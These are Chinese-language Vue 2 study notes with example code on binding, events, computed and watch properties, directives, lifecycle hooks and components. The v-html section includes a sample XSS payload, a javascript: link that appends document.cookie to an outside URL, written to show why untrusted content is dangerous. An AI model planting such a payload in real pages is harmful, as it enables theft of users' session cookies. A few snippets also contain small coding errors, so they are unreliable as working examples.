数据绑定 el和data的两种写法
<!-- v-bind:可简写为 :
单向数据绑定:开发者工具数据改变页面数据变化、页面数据变化控开发者工具数据不变。 -->
<!-- v-model: v-model:value 可简写为 v-model:
双向数据绑定 开发者工具数据改变 页面数据也变化 页面数据变化开发者工具也变化
只能应用于表单类元素上(输入类元素 input 单选多选框 select框 多行输入 有 value值)其他元素类型无法使用
-->
<!-- el 和 data的两种写法
-->
<!-- 定义容器 -->
<div id="root">
<h1>你好, {{ name }}</h1>
</div>
<script>
Vue.config.productionTip = false
const v = new Vue({
data() {
console.log('@@@',this)
return{
name: '罗浩哲'
}
}
});
v.$mount('#root')
</script>
MVVM模型

data中的所有属性最后都出现在vm身上
Vue身上的所有属性及Vue原型上的所有属性在Vue模板上都可以直接使用
Object.defineProperty 回顾
let number = 18
let Person = {
name: 'luo',
sex: '男',
}
Object.defineProperty(Person, 'age', {
get() {
console.log('age属性被读取了');
return number;
},
set() {
console.log('age属性被修改了 且值是', value);
number = value
}
})
数据代理
<!-- 数据代理 通过一个对象代理对另一个对象中属性的操作(读/写) -->
<script>
let Obj = {x:100}
let Obj1 = {y:200}
Object.defineProperty(Obj1, 'x', {
get() {
return Obj.x
},
set(value) {
Obj.x = value
}
})
</script>
1.Vue中的数据代理
通过vm对象来代理data中对象中属性的操作(都getter、写、setter)
2.Vue代理的好处
更加方便的操作data中的数据
3.基本原理 :
通过Object.defineProperty()把data对象中的所有属性
添加vm身上,为每一个添加的data中的属性都指定getter
和setter
在getter 和 setter 内部去操作(读/写属性)data中对应的属性

事件的基本使用
1.v-on:click 简写形式 @click
2.事件的回调要写在methods中最终会出现在vm中
3.methods中配置的函数不要用箭头函数 this
4.methods中配置的函数 this指向vm
5.@click="demo" 和@click="demo($event, 要传递的参数)"
<!-- 定义容器 -->
<div id="root">
<h1>单击事件绑定</h1>
<button @click="showInfo(99,$event)">{{name}}</button>
</div>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
data() {
return{
name: 'luohaozhe',
id: '99'
}
},
methods: {
showInfo(number,event){
console.log(event.target.innerText);
console.log(number);
}
},
});
vm.$mount('#root');
</script>
事件修饰符
<h2>事件修饰符</h2>
<!-- vue中的事件修饰符
1.prevent: 阻止默认事件(常用)
2.stop: 阻止事件冒泡 (常用)
3.once 事件只触发一次(常用)
4.capture 使用事件的捕获模式
5.self 只有event.target是当前操作的元素时才出发事件
6.passive 事件的默认行为立即执行,无需等待事件回调执行完毕
7.修饰符可以连续写
-->
<!--prevent事件修饰符 阻止a标签默认跳转 -->
<a href="https://www.baidu.com" @click.prevent="showInfo">点我提示信息</a>
<!-- 2.stop: 阻止事件冒泡 (常用) -->
<div id="demo1" @click="showInfo">
<button @click.stop="showInfo">点我提示信息</button>
</div>
<!-- 3.once 事件只触发一次(常用) -->
<button @click.once="showInfo">点我提示内容</button>
</div>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
data() {
return {
}
},
methods: {
showInfo(e) {
alert('早上好呀')
}
},
})
vm.$mount('#root')
</script>
键盘事件
<!-- vue常用按键别名
1.回车 == enter
2.删除 == delete (捕获删除和退格键)
3.退出 == esc
4.空格 == space
5.换行 == tab (特殊 必须配合keydown使用)
上 == up
下 == down
左 == left
右 == right
2.Vue未提供的别名可通过 按键原始Key值去绑定 但注意要转为kebab-case(短横线命名)
3.系统修饰符(用法特殊)ctrl alt shift mate
(1)配合keyup使用 按下修饰键的同事,再按下其他键 随后释放其他键 事件才被触发
小技巧: 要指定只用按下 ctrl + y才执行 @keyup.ctrl.y
(2)配合keydown使用 正常触发事件
4.也可以使用keyCode去指定具体的按键(不推荐)
5.Vue.config.KeyCodes自定义键名 = 键码 可以订制按键别名
-->
<h2>{{name}}事件</h2>
<input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo">
</div>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
data() {
return {
name: '键盘'
}
},
methods: {
showInfo(e) {
console.log(e.target.value);
}
},
})
vm.$mount('#root')
</script>
计算属性
<!-- 计算属性 computed
1.定义: 要用的属性不存在通过已有的属性计算出来
2.原理: 底层借助Object.defineproperty方法提供的getter 和setter
3.get函数什么时候执行
1.函数初次调用会执行一次
2.当依赖的属性发生改变时会再次被调用测试方便
5.备注:
1.计算属性最终会出现在vm上,直接读取即可
2.如果计算属性要被修改那必须写set函数去响应修改
且set中要引起计算时依赖的数据发生变化 -->
<div id="root">
姓: <input type="text" v-model="surname"><br><br>
名:<input type="text" v-model="name"><br><br>
<!-- 插值语法实现 -->
<!-- <h3>全名: {{surname.slice(0,2)}}-{{name}}</h3> -->
<!-- methods实现 -->
<!-- <h3>全名: {{fullName()}}</h3> -->
<!-- 计算属性实现 -->
<h3>全名: {{fullName}}</h3>
</div>
<script>
const vm = new Vue({
data() {
return {
surname: '罗',
name: '皓哲',
}
},
methods: {
// fullName() {
// return this.surname + '-' + this.name
// }
},
computed:{
// 简写形式 ---只读取不修改才可以使用简写形式
fullName() {
return this.surname + this.name
}
//完整形式
fullName:{
get() {
//get 有什么作用 当有人读取fullName()时get就会被调用
//get 什么时候被调用
// 1.初次读取fullName时
// 2.所依赖的数发生变化时
console.log('get被调用了');
//this 指向 vm
return this.surname + '-' + this.name
},
//set 什么时候被调用 当fullName被修改时调用
set(value) {
console.log('set', value);
//按照指定字符将将数据拆分成一个数组
const arr = value.split('-')
this.surname = arr[0]
this.name = arr[1]
}
}
}
});
vm.$mount('#root')
</script>
监视属性
<!-- 监视属性watch
1.当被监视的属性发生变化时,回调函数自动调用 进行相关操作
2.监视的属性必须存在 才能进行监视!!!
3.监视的两种写法
(1)通过 new Vue 传入 watch:{handler(NewValue,oldValue){}}
(2)通过vm.$watch('要监视的属性',{配置}) -->
<div id="root">
<h1>今天天气很{{info}}</h1>
<button @click="isHot = !isHot">切换天气</button>
</div>
<script>
const vm = new Vue({
data() {
return {
isHot: true
}
},
computed:{
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
Switch() {
this.isHot = !this.isHot
}
},
watch:{
isHot:{
immediate:true,
handler(newValue, oldValue){
console.log('isHot被修改了',newValue,oldValue);
}
},
}
})
vm.$mount('#root')
</script>
深度监视
<!-- 深度监视:
1.Vue的watch默认不监测对象内部值的改变
2.配置deep: true 可以监测对象内部值的改变
备注:
1.Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
2。使用watch时根据数据内部的具体结构,决定是否采用深度监视 -->
<div id="root">
<h1>今天天气很{{info}}</h1>
<!-- <button @click="Switch">切换天气</button> -->
<!-- 小技巧 语句简单可直接写到click后面-->
<button @click="isHot = !isHot">切换天气</button>
<hr>
<h3>a的值是: {{numbers.a}}</h3>
<button @click="numbers.a++"> 点我让a+1</button>
<hr>
<h3>b的值是: {{numbers.b}}</h3>
<button @click="numbers.b++"> 点我让b+1</button>
</div>
<script>
const vm = new Vue({
data() {
return {
isHot: true,
numbers:{
a: 1,
b: 1
}
}
},
computed:{
info() {
return this.isHot ? '炎热' : '凉爽'
}
},
methods: {
Switch() {
this.isHot = !this.isHot
}
},
watch:{
isHot:{
// immediate:true,//初始化时让handler调用一下 默认为false
//handler 什么时候调用,当isHot被修改了
handler(newValue, oldValue){
console.log('isHot被修改了',newValue,oldValue);
}
},
//监视多级结构中某个属性值的变化
// 'numbers.a':{
// handler(){
// console.log('a被改变了');
// }
// },
//深度监视监视多级结构所有属性的变化 deep 默认为false
numbers:{
deep: true,
handler() {
console.log('numbers被改变了');
}
}
}
})
vm.$mount('#root')
数据监视简写
isHot(newValue, oldValue) {
console.log('isHot被修改了', newValue, oldValue);
},
computed 和 watch 的对比
<!-- computed 和 watch 的区别
1.computed能完成的,watch都可以完成
2.watch能完成的,computed不一定能完成 例如异步操作
两个重要的小原则
1.被vue所管理的函数最好写成普通函数 这样this指向 vm
2.所有不被Vue所管理的函数(定时器函数, ajax回调函数 Promise的回调函数)
最好写成箭头函数 这样this才会指向 vm 或组件实例对象
-->
<div id="root">
姓: <input type="text" v-model="surname"><br><br>
名:<input type="text" v-model="name"><br><br>
<h3>全名: {{fullName}}</h3>
</div>
<script>
const vm = new Vue({
data() {
return {
surname: '罗',
name: '浩哲',
fullName: '罗浩哲'
}
},
watch:{
surname(val){
setTimeout(() => {
return this.fullName = val + ' ' + this.name;
}, 1000);
},
name(val){
setTimeout(() => {
return this.fullName = this.surname + ' ' +val;
}, 1000);
}
}
});
vm.$mount('#root')
class样式绑定 style样式绑定
<!-- 1.class样式绑定
写法: :class="xxx" xxx 可以是字符串 数组 对象
2.style样式绑定
:style="{fontSize: xxx}" 对象写法 其中xxx是动态值
:style="[a,b]" 数组形式 其中 a,b 是样式对象 -->
<div id="root">
<!-- 绑定class 样式----字符串写法 适用于样式类名不确定 需要动态指定 -->
<div class="basic" :class="mood" @click="changeMood">{{name}}</div>
<hr>
<!-- 绑定class 样式----数组写法 适用于要绑定的样式个数不确定,名字也不确定 需要动态指定 -->
<div class="basic" :class="arr">{{name}}</div>
<hr>
<!-- 绑定class 样式----对象写法 适用于要绑定的样式个数确定,名字也确定 需要动态决定用不用 -->
<div class="basic" :class="obj">{{name}}</div>
<hr>
<!-- 绑定style样式 -->
<div class="basic" :style="styObj">{{name}}</div>
</div>
<script>
const vm = new Vue({
data() {
return {
name: '孙润美',
mood: '',
arr: ["l1","l2","l3"],
obj:{
l1: false,
l2: false,
},
styObj:{
fontSize: '20px',
color: 'blue',
backgroundColor: 'pink'
}
}
},
methods: {
changeMood() {
// 创建数据将样式类名存入
const arr = ['happy','sad','nomal'];
// 随机生成012三个数
const index = Math.floor(Math.random()*3)
//点击随机更改颜色
this.mood = arr[index]
}
},
})
vm.$mount('#root')
</script>
数据渲染 v-show v-if
<div id="root">
<!-- 使用v-show做条件渲染 后面接布尔值或者可得到布尔值的表达式
底层使用 display 实现 显示与隐藏
变化频繁使用 v-show
-->
<!-- <h2 v-show="false">欢迎你{{name}}</h2> -->
<!-- <h2 v-show="1===2">欢迎你{{name}}</h2> -->
<!-- 使用v-if做条件渲染 确定不再展示-->
<h2 v-if="false">欢迎你{{name}}</h2>
<h2>当前N的值为: {{n}}</h2>
<button @click="n++">点我N+1</button>
<!-- <div v-show="n===1">Angular</div>
<div v-show="n===2">React</div>
<div v-show="n===3">Vue</div> -->
<!-- v-else 和 v-else-if 结构不允许打断中间不能加其他元素 -->
<!-- <div v-if="n===1">Angular</div>
<div v-else-if="n===2">React</div>
<div v-else-if="n===3">Vue</div> -->
<!-- n为其他值时都显示优乐美 -->
<!-- <div v-else>优乐美</div> -->
<!-- template只能配合 v-if 使用 不能配合v-show 使用 -->
<template v-if="n===1 || n===2 || n==3">
<h2>周一</h2>
<h2>周二</h2>
<h2>周三</h2>
</template>
</div>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
data() {
return {
name: "罗浩哲",
n: 0,
};
},
});
vm.$mount("#root");
</script>
列表渲染
<div id="root">
<!-- v-for 指令
1.用于展示列表数据
2.语法 v-for="(item,index) in xxx" :key='index'
可遍历 数组 对象 字符串 -->
<h2>milk tea</h2>
<!-- v-for in/of 遍历数组 -->
<ul>
<li v-for="(t,index) in tea" :key="index">
{{t.name}} - {{t.boutique}}
</li>
</ul>
<!-- v-for in/of 遍历对象 -->
<h2>汽车信息</h2>
<ul>
<li v-for="(c,index) of car" :key="index">{{index}} --{{c}}</li>
</ul>
</div>
<!-- v-for in/of 遍历字符串 指定遍历次数 -->
<h2>遍历字符串</h2>
<ul>
<li v-for="(a,b) in str" :key="b">{{a}} - {{b}}</li>
</ul>
<script>
const vm = new Vue({
data() {
return {
tea: [
{ id: "001", name: "蜜雪冰城", boutique: "柠檬水" },
{ id: "002", name: "一点点", boutique: "珍珠奶茶" },
{ id: "003", name: "茶百道", boutique: "草莓冰沙" },
{ id: "004", name: "古茗", boutique: "百香双重奏" },
],
car: {
name: "奥迪A8",
price: "80",
color: "黑色",
},
str: "hello",
};
},
});
vm.$mount("#root");
</script>
v-if 中key的作用原理 ---最好使用id作为key

列表过滤
<div id="root">
搜索:<input type="text" placeholder="请输入搜索的信息" v-model:value="teaName"><br>
<ul>
<li v-for="t in filters" :key="t.id">
{{t.name}} - {{t.boutique}} - {{t.price}}
</li>
</li>
</ul>
</div>
<!-- 列表过滤 --模糊搜索---watch实现 -->
<!-- <script>
Vue.config.productionTip = false;
const vm = new Vue({
data() {
return {
teaName: '',
tea: [
{ id: "001", name: "星巴克", boutique: "冰美式", price: "14¥RMB" },
{ id: "002", name: "蜜雪冰城", boutique: "柠檬水", price: "4¥RMB" },
{ id: "003", name: "一点点", boutique: "珍珠奶茶", price: "19¥RMB" },
{ id: "004", name: "茶百道", boutique: "草莓冰沙", price: "19¥RMB" },
{ id: "005", name: "古茗", boutique: "百香双重奏", price: "18¥RMB" },
],
filter:[],
}
},
watch: {
teaName:{
immediate: true,
handler(val) {
console.log('teaName改变了');
this.filter = this.tea.filter((t) => {
return t.name.indexOf(val) !== -1
})
}
}
}
});
vm.$mount('#root')
</script> -->
<!-- 列表过滤 --模糊搜索---computed实现 -->
<script>
Vue.config.productionTip = false;
const vm = new Vue({
data() {
return {
teaName:'',
tea: [
{ id: "001", name: "星巴克", boutique: "冰美式", price: "14¥RMB" },
{ id: "002", name: "蜜雪冰城", boutique: "柠檬水", price: "4¥RMB" },
{ id: "003", name: "一点点", boutique: "珍珠奶茶", price: "19¥RMB" },
{ id: "004", name: "茶百道", boutique: "草莓冰沙", price: "19¥RMB" },
{ id: "005", name: "古茗", boutique: "百香双重奏", price: "18¥RMB" },
],
}
},
computed:{
filters() {
return this.tea.filter((t) =>{
return t.name.indexOf(this.teaName) !== -1
})
}
}
});
vm.$mount('#root')
</script>
列表排序
<div id="root">
<h2>奶茶列表</h2>
<input type="text" placeholder="请输入店铺名" v-model:value="teaName">
<button @click="sortType = 2">价格升序</button>
<button @click="sortType = 1">价格降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="t in filters" :key="t.id">
{{t.name}} - {{t.boutique}} - {{t.price}}
</li>
</li>
</ul>
</div>
<!-- 列表过滤 --模糊搜索---computed实现 -->
<script>
Vue.config.productionTip = false;
const vm = new Vue({
data() {
return {
sortType: '0',
teaName:'',
tea: [
{ id: "001", name: "星巴克", boutique: "冰美式", price: "14" },
{ id: "002", name: "蜜雪冰城", boutique: "柠檬水", price: "4" },
{ id: "003", name: "一点点", boutique: "珍珠奶茶", price: "19" },
{ id: "004", name: "茶百道", boutique: "草莓冰沙", price: "19" },
{ id: "005", name: "古茗", boutique: "百香双重奏", price: "18" },
],
}
},
computed:{
filters() {
const arr = this.tea.filter((t) =>{
return t.name.indexOf(this.teaName) !== -1
})
if(this.sortType){
arr.sort((p1,p2) => {
return this.sortType === 1 ? p1.price - p2.price : p2.price - p1.price;
})
}
return arr
}
}
});
vm.$mount('#root')
</script>
内置指令
<!-- 内置指令 简写 描述
v-bind: : 单向数据绑定
v-model: 省略后面的value 双向数据绑定
v-for 遍历数组、对象、字符串
v-on @ 绑定事件监听
v-if 条件渲染(动态控制节点是否存在)
v-else 条件渲染(动态控制节点是否存在)
v-show 条件渲染(动态控制节点是否展示)
v-test 向其所在的节点中渲染文本内容
v-html 向指定的节点中渲染包含html结构的内容
v-cloak 配合css使用可以解决网速慢时页面展示问题
v-once 所在节点在初次动态渲染后,就视为静态内容了
v-pre 跳过其所在节点的编译过程
-->
<!-- v-html指令
1.作用: 向指定的节点中渲染包含html结构的内容
2.与插值语法的区别
2.1 v-html会替换掉节点的所有内容,{{xx}} 则不会
2.2 v-html 可以识别html结构
3.严重注意: v-html有安全性问题!!!!
3.1 在网站上动态喧嚷任意的html是非常危险的,容易导致攻击
3.2 一定要在可信内容上使用v-html 永远不要用在用户提交的内容上
-->
<!-- v-cloak (没有值)
1.本质上是一个特殊属性 Vue实例创建容器并接管以后会自动移除v-cloak属性
2.配合css使用可以解决网速慢时页面展示问题
-->
<!-- v-once 指令
1.v-once 所在节点在初次动态渲染后,就视为静态内容了
2.以后数据的改变不会引起v-once所在节点的更新 可以用于优化性能
-->
<!-- v-pre 指令
1.跳过其所在节点的编译过程
2.可利用它跳过没有使用指令语法没有使用插值语法的节点 会加快编译
-->
<p>{{name}}</p>
<!-- v-text 不支持结构解析标签里面不可以再写东西了 -->
<p v-text="name"></p>
<!-- <v-html> 支持结构解析 -->
<div v-html="str"></div>
<!-- v-html 安全性问题演示 -->
<div v-html="str2"></div>
<!-- v-cloak 没有值配合css使用-->
<p v-cloak>{{name}}</p>
<!-- <style>
[v-cloak]{
display: none;
}
</style> -->
<!-- v-once 演示 -->
<p v-once>初始化的n值是: {{n}}</p>
<p>当前的n值是:{{n}}</p>
<button @click="n++">点我N加1</button>
</div>
<script>
const vm = new Vue({
data() {
return {
n: 1,
name: '罗浩哲',
str: '<h3>你好嘢?</h3>',
str2: '<a href="javascript:location.href="https://www.baidu.com?+documnet.cookie">诱惑性内容</a>',
}
},
});
vm.$mount('#root')
</script>
自定义指令
<!-- 自定义指令
备注:
1.指令定义式不加 v- 但使用时一定要加v-
2.指令名如果是多个单词要使用kebab-casass中间使用 - 连接 分割 定义时 要加上 ''
-->
<!-- 案例需求
1.定义一个v-big 指令 和v-text功能类似 但会把绑定的数值放大10倍
2.定义一个v-fbind指令 和bind 指令功能类似 但会把其所绑定的input元素默认获取焦点
-->
<div id="root">
<h2> 当前的N值是:<span v-text="n"></span></h2>
<h2> 放大十倍的N值是:<span v-big="n"></span></h2>
<button @click="n++">点我N+1</button>
<hr>
<input type="text" v-fbind:value="n">
</div>
<script>
Vue.config.productionTip = false;
//全局自定义指令
Vue.directive('fbind',{
//当指令与元素成功绑定时调用
bind(element,binding) {
console.log('bind');
element.value = binding.value
},
//指令元素被插入页面时调用
inserted(element,binding){
console.log('inserted');
element.focus()
},
//当指令所在模板重新解析时调用
update(element,binding) {
console.log('update');
element.value = binding.value
},
})
const vm = new Vue({
data() {
return {
n: 1,
}
},
//局部自定义指令
directives:{
//函数式写法
// big 函数什么时候被调用
// 1.当指令与元素成功绑定是调用
// 2.指令所在的模板重新解析时调用
big(element,binding){
console.log(element); //真实DOM span标签
console.log(binding); //对象 value为 传入的值n
element.innerText = binding.value * 10
},
//对象式写法
fbind:{
//当指令与元素成功绑定时调用
bind(element,binding) {
console.log('bind');
element.value = binding.value
},
//指令元素被插入页面时调用
inserted(element,binding){
console.log('inserted');
element.focus()
},
//当指令所在模板重新解析时调用
update(element,binding) {
console.log('update');
element.value = binding.value
},
}
}
});
vm.$mount('#root')
</script>
生命周期
<!-- 生命周期:
1.又名生命周期回调函数/生命周期函数/生命周期钩子,
2.是什么:Vue在关键时期帮我们调了一些特殊名称的函数
3.生命周期函数的名字不可更改,但具体的函数内容根据需求编写
4.生命周期函数的this指向是vm或组件实例对象
常用的生命周期钩子
1.mounted 发送ajax请求 、启动定时器、绑定自定义事件 、订阅消息等【初始化操作】
2.beforeDestroy:清除定时器 、解绑自定义事件、取消订阅消息等【收尾工作】
关于销毁Vue实例
1.销毁后借助Vue开发者工具看不到任何信息
2.销毁后自定义事件会失效,但原生DOM事件依旧有效
3.一般不会在beforeDestroy操作数据 应为即使操作了数据也不会再更新了
-->
<div id="root">
<h2 :style="{opacity}">Hello word</h2>
<h2>当前的N值是:{{n}}</h2>
<button @click="n++">点我N+1</button>
<button @click="bye">点我销毁vm</button>
</div>
<script>
Vue.config.productionTip = false;
const vm = new Vue({
el: '#root',
data:{
n: 1,
name: '罗浩哲',
opacity: 1
},
methods: {
bye(){
console.log('bye');
this.$destroy()
}
},
watch:{
n(){
console.log('n的值比变了');
}
},
beforeCreate() {
console.log('beforeCreate');
},
created() {
console.log('create');
},
beforeMount() {
console.log('beforeMount');
console.log(this)
debugger;
},
mounted() {
this.timer = setInterval(() => {
this.opacity -= 0.01
if(this.opacity <= 0) this.opacity = 1
},16)
},
beforeUpdate() {
console.log('beforeUpdate')
},
updated() {
console.log('updated')
},
beforeDestroy() {
clearInterval(this.timer)
console.log('beforeDestroy')
},
destroyed() {
console.log('destroyed')
},
})
</script>

非单文件组件
<!-- Vue 中使用组件的三大步骤
一、创建组件(定义组件)
1. 如何定义
使用Vue.extend(options)创建其中option是和new Vue(options)
时传入的那么options几乎一致 两个区别
1.el 不要写 最终的组件毒药被一个vm所管理 由vm中的决定服务那个容器
2.data必须写成函数形式 ----避免组件被复用时,数据存在引用关系
备注: 使用template可以配置组件结构
二、注册组件(局部/全局)
1.局部注册:靠new Vue 的时候配置 components 选项
2.全局注册:靠Vue.component('组件名','组件')
三、使用组件(通过组件标签)
<组件名 />
-->
<div id="root">
<school></school>
<hr>
<student></student>
</div>
<script>
const school = Vue.extend({
template: `
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址: {{Address}}</h2>
</div>`,
data() {
return {
schoolName: '合肥八中',
Address:'安徽合肥'
}
},
})
const student = Vue.extend({
template: `
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄: {{age}}</h2>
</div>
`,
data() {
return {
studentName: '罗浩哲',
age: 18
}
},
})
new Vue({
el:'#root',
components:{
school,
student
}
})
</script>
VueComponent
<!-- 关于VueComponent
1.school: 本质上是一个名为VueComponent的构造函数,且不是程序员定义的是Vue.extend自动生成的
2.我们只需要写<school> Vue解析会自动帮我们创建school组件的实例对象
即Vue帮我们执行的 new VueComponent(options)
3.特别注意 每次调用Vue.extend 返回的都是全新的VueComponent!!!!
4.关于this的指向
(1)组件配置中
data函数 methods函数 watch函数 computed函数 中this的指向均为 VueComponent 实例对象
(2)new Vue(options)配置中
data函数 methods函数 watch函数 computed函数中他们的this均指向 vue实例对象
5. VueComponent的实例对象 以后简称vc 也可以称为组件实例对象
vue的实例对象以后简称为vm
-->
<div id="root">
<school></school>
</div>
<script>
const school = Vue.extend({
template: `
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址: {{Address}}</h2>
</div>`,
data() {
return {
schoolName: '合肥八中',
Address:'安徽合肥'
}
},
})
console.log(school);
new Vue({
el:'#root',
components:{
school
}
})
</script>
一个重要的内置属性
Vue.Component._prototype.__proto__ === Vue.prototype
为什么要有这个关系 让组件实例对象(vc)可以访问到Vue原型上的属性和方法
nanoid使用
1.安装
npm i nanoid
2.引入
import {nanoid} from 'nanoid'
3.使用
const personObj = {id:nanoid(),name:this.name};